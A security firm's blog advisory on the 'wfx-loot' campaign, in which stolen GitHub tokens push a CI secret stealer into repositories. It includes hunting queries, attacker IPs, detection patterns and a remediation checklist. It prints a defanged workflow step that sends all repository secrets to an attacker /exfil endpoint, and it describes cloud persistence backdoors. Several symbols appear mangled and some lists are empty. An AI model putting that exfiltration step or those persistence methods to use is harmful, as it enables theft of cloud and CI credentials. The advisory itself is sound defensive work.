wfx-loot: 4,800 Hijacked GitHub Accounts Are Raiding CI Secrets

Stolen tokens, a one-minute "sandwich commit" and backdoors that survive rotation. Here is how to check your organisation and clean up properly.

Featured image

Nobody had to find a bug in GitHub for this one. Since 10 November 2026, an attacker holding thousands of stolen GitHub tokens has been opening harmless-looking pull requests, slipping a 1,500-line credential stealer into CI pipelines, and reverting the change about a minute later. What gets left behind is a skipped number in your workflow run history, and your cloud keys sitting on someone else’s server.

Researchers at Aikido, who named the campaign “wfx-loot”, counted 4,837 compromised accounts opening probe pull requests across 61,764 repositories, with the stealer running in at least 1,800 of them. Named victims include Fortune 100 organisations, the US General Services Administration, the French government, Nextcloud and WebdriverIO. The campaign was still active when the main reports came out on 12 and 13 November, and GitHub had not commented publicly.

If your company keeps code on GitHub, including through a contractor or an open-source dependency you maintain, give this an hour today.

TL;DR / key takeaways

  • What: A mass campaign using stolen GitHub tokens (not a GitHub vulnerability) to push a CI secret stealer into repositories, then delete the evidence within about a minute.
  • Scale: 4,837 accounts, 61,764 repos probed, 1,800+ confirmed executions (Aikido); SafeDep and Endor Labs found malicious commits in 8,000 to 9,000 repos.
  • Why it is worse than a normal leak: the payload uses GitHub OIDC to get into AWS, Azure and GCP, and plants backdoors (wide-open IAM trust policies, wfx-ci-* federated credentials) that survive secret rotation.
  • Check now: search your org for the PR title docs: dependency audit notes, branches named wfx-docs, and the commit messages listed below. A probe PR alone means that account’s credentials are stolen.
  • If it ran: rotate every secret the job could reach, revoke the author’s tokens, and audit your cloud for the persistence artefacts. Rotation alone is not enough.

What happened

wfx-loot is a supply-chain attack on the build pipeline rather than on a package registry. The attacker already had working GitHub credentials (personal access tokens, OAuth tokens and GitHub App tokens) for thousands of developers. Each token was used to check what it could write to, then to run the stealer inside that repository’s GitHub Actions runners, where secrets are decrypted and handed to the job.

Because so many developers have write access to their employer’s repositories, or are collaborators on other projects, one stolen personal token could reach organisations that were never breached themselves. Aikido counted 10,431 probe PRs opened in repositories the compromised account did not own.

Timeline

All times UTC, 2026. Counts were taken at different times by different firms, so expect them to differ.

How the attack works

You do not need exploit-level detail to defend against this, but the mechanics explain why the usual “rotate the leaked key” response falls short.

Step 1: The probe

The account creates a wfx-docs branch and opens a pull request titled “docs: dependency audit notes” that adds docs/wfx-audit.md. There is no payload. It only confirms the token can write. Aikido, StepSecurity and SafeDep agree on the consequence: if a probe PR exists, the account that opened it is compromised, even if nothing else happened. Around 90% of these PRs were still open when researchers checked, so most owners had not noticed.

Step 2: The payload, in one of four wrappers

Delivery method Commit message What changes
Inject into an existing workflow ci: refresh build cache ~1,500 lines added; steps named Restore cache <xxxx> or Pass runtime
Hidden script + npm hook chore: add ci helper .ci-xxxxxx.sh in the repo root, run from a postinstall hook in package.json
Throwaway workflow on a side branch chore: add dependency audit workflow .github/workflows/build-audit-xxxxxx.yml on a chore/xxxxxxxx branch
Append to a CI shell script varies An existing script called by a workflow (e.g. update.sh)

The injected workflow step serialises every secret and variable the repository can see, not just the ones the workflow uses:

~|#| As published by Aikido (defanged). Do not run.
~|-| name: Restore cache j632
  env:
    WF_CALLBACK: "http://194.150.166[.]244:8080/exfil"
    WF_SECRETS: "${{ toJSON(secrets) }}"
    WF_VARS: "${{ toJSON(vars) }}"

Step 3: The “sandwich” and the clean-up

A revert commit (ci: restore or ci: cleanup) usually lands within about a minute, and the attacker deletes the workflow run and its logs. Endor Labs calls these “sandwich commits”. Aikido notes that a missing run number in your Actions history is often the most reliable sign that the payload ran.

What the stealer takes

According to Aikido’s and CSA’s analyses, the script collects:

The part that survives rotation

The injected workflow requests id-token: write, mints GitHub OIDC tokens and tries to exchange them for cloud sessions, even in repositories with no cloud set-up. Where it succeeds, it tries to persist:

As the CSA research note puts it, both cloud backdoors survive secret rotation. That is the main reason this campaign needs more than a key reset.

A note on GitHub’s guardrails

GitGuardian found that every November workflow-file payload run it could still observe (seven of seven) was held by GitHub with status action_required and never started. The npm-hook variant got around this. It changes no workflow file, so the repository’s existing, trusted workflow runs npm install and executes the hidden script. Public logs from 19 repositories show the script running, and 18 report successful exfiltration. The same applies to any developer who ran npm install on an affected commit on their own laptop.

Am I affected?

Work through these in order. Anything from 10 November onwards (24 October if you want to be thorough) counts.

  1. Probe PRs or branches: any PR titled docs: dependency audit notes, or branches named wfx-docs, chore/[a-z0-9]{8} or ci-check-[0-9]{4}.
  2. Payload commits: ci: refresh build cache, chore: add ci helper, chore: add dependency audit workflow, followed by ci: restore or ci: cleanup.
  3. Run-number gaps: a skipped Actions run number around the time of a suspicious commit.
  4. Packages: Packagist digitalelvis/neuronai-studio 3.14.3 (payload runs on npm install inside vendor/); Go github.com/onuragtas/docker-env v1.0.278 and v1.0.280 (v1.0.282 per SafeDep). In the Go modules the payload sits only in a workflow file that Go builds do not execute, but remove the versions anyway.
  5. Network: runner or proxy traffic to 194.150.166[.]244, 18.143.168[.]96 or 153.75.82[.]159 on port 8080, or unexpected api.telegram.org traffic from CI.

The absence of wfx-loot-* artifacts, wfx- cache entries or WFX-BEGIN step summaries proves nothing. Those channels were switched off in this campaign and data went straight off the runner.

Hunting queries

GitHub (run with an org admin’s gh CLI; replace YOUR_ORG):

~|#| Probe PRs anywhere in your org (public and private repos you can see)
gh search prs "docs: dependency audit notes" ~|-|~|-|owner YOUR_ORG ~|-|~|-|limit 200 \
  ~|-|~|-|json repository,author,createdAt,url

~|#| Payload and revert commits
for msg in "ci: refresh build cache" "chore: add ci helper" \
           "chore: add dependency audit workflow" "ci: restore" "ci: cleanup"; do
  gh search commits "\"$msg\"" ~|-|~|-|owner YOUR_ORG ~|-|~|-|limit 100 \
    ~|-|~|-|json repository,sha,author,commit
done

~|#| Suspicious branch names in one repo
gh api repos/YOUR_ORG/REPO/branches ~|-|~|-|paginate ~|-|~|-|jq '.[].name' \
  | grep ~|-|E '^(wfx~|-|docs|chore/[a~|-|z0~|-|9]{8}|ci~|-|check~|-|[0~|-|9]{4})$'

~|#| Gaps in workflow run numbers since 10 Nov (deleted runs)
gh api "repos/YOUR_ORG/REPO/actions/runs?created~|=|>~|=|2026~|-|11~|-|10&per_page~|=|100" \
  ~|-|~|-|paginate ~|-|~|-|jq '.workflow_runs[].run_number' | sort ~|-|n | \
  awk 'NR>1 && $1!~|=|prev+1 {print "gap after run", prev} {prev~|=|$1}'

Commit search does not see every private repository or every branch, so also review your organisation audit log for workflows.delete_workflow_run, git.push and branch-protection changes by the affected accounts. GitGuardian also suggests checking job logs for a sh ./.ci- line and for npm/pnpm/yarn installs without --ignore-scripts on hook commits.

AWS CloudTrail (Athena / CloudTrail Lake style):

SELECT eventtime, eventname, useridentity.arn, sourceipaddress, requestparameters
FROM cloudtrail_logs
WHERE eventtime >~|=| '2026~|-|11~|-|10'
  AND (
    (eventname ~|=| 'AssumeRoleWithWebIdentity' AND requestparameters LIKE '%wfx~|-|%')
    OR (eventname ~|=| 'AssumeRole'            AND requestparameters LIKE '%wfx~|-|%')
    OR eventname IN ('CreateAccessKey', 'UpdateAssumeRolePolicy')
  )
ORDER BY eventtime;

Then list every role whose trust policy allows "AWS": "*":

for r in $(aws iam list~|-|roles ~|-|~|-|query 'Roles[].RoleName' ~|-|~|-|output text); do
  aws iam get~|-|role ~|-|~|-|role~|-|name "$r" ~|-|~|-|query 'Role.AssumeRolePolicyDocument' \
    ~|-|~|-|output json | grep ~|-|q '"AWS": "\*"' && echo "OPEN TRUST: $r"
done

Microsoft Entra ID (Sentinel / Log Analytics KQL):

AuditLogs
| where TimeGenerated >~|=| datetime(2026~|-|11~|-|10)
| where OperationName has "application"
| where tostring(TargetResources) has "FederatedIdentityCredential"
   or tostring(TargetResources) has "wfx~|-|ci"
| project TimeGenerated, OperationName, InitiatedBy, TargetResources

Also check each app registration directly (App registrations → Certificates & secrets → Federated credentials) for anything named wfx-ci-*.

GCP: in Cloud Audit Logs, review GenerateAccessToken and SignJwt calls coming from GitHub workload identity pools since 10 November. Vault: review JWT logins from the GitHub OIDC issuer.

What to do: a prioritised checklist

Immediately (today)

  1. Run the searches above across every org, including contractor-managed and open-source orgs your staff contribute to.
  2. For every account that opened a probe: revoke its personal access tokens, OAuth app grants, GitHub CLI tokens, SSH keys and active sessions; force a password reset with phishing-resistant MFA. Check bot accounts too. CSA notes WebdriverIO’s bot bypassed branch protection to land 56 commits across 28 repos.
  3. Where the payload ran: rotate every secret the job could reach. That means all repo, environment and org secrets and variables (not just the ones the workflow references), registry publish tokens, cloud keys, Vault and Kubernetes credentials, self-hosted runner host credentials and all AI API keys.
  4. Remove persistence: delete wfx-ci-* federated credentials, restore AWS trust policies, and delete IAM access keys and GCP keys you did not create.
  5. Treat any laptop that ran npm install on an affected commit as compromised.
  6. Block runner egress to the three collection IPs, and alert on api.telegram.org from CI unless you have a business reason for it.

This week

Longer term

OffensioX perspective

wfx-loot follows GhostAction, which GitGuardian tied to about 1,900 accounts and 30,000+ repositories in October. About 20% of wfx-loot accounts (431, per GitGuardian) had already been hit in that wave, and CSA reports some victims were re-compromised because they never rotated. That is the real lesson. The attacker did not need anything clever. They needed tokens that were never revoked and CI pipelines that trust whoever can push. In a modern company, a GitHub token is effectively a cloud credential, because OIDC federation connects your repositories straight to AWS, Azure and GCP. In Pakistan and across South Asia, many e-commerce and SaaS teams lean on freelancers and outsourced developers with broad org access and long-lived personal tokens, which is exactly the trust this campaign exploits. Review who can push, what CI can reach and how fast you can revoke, before the next wave rather than after it.

If you would like an independent look at your GitHub organisation, CI/CD pipelines and cloud trust relationships, OffensioX runs penetration tests and security assessments that cover exactly this path from developer token to cloud.

References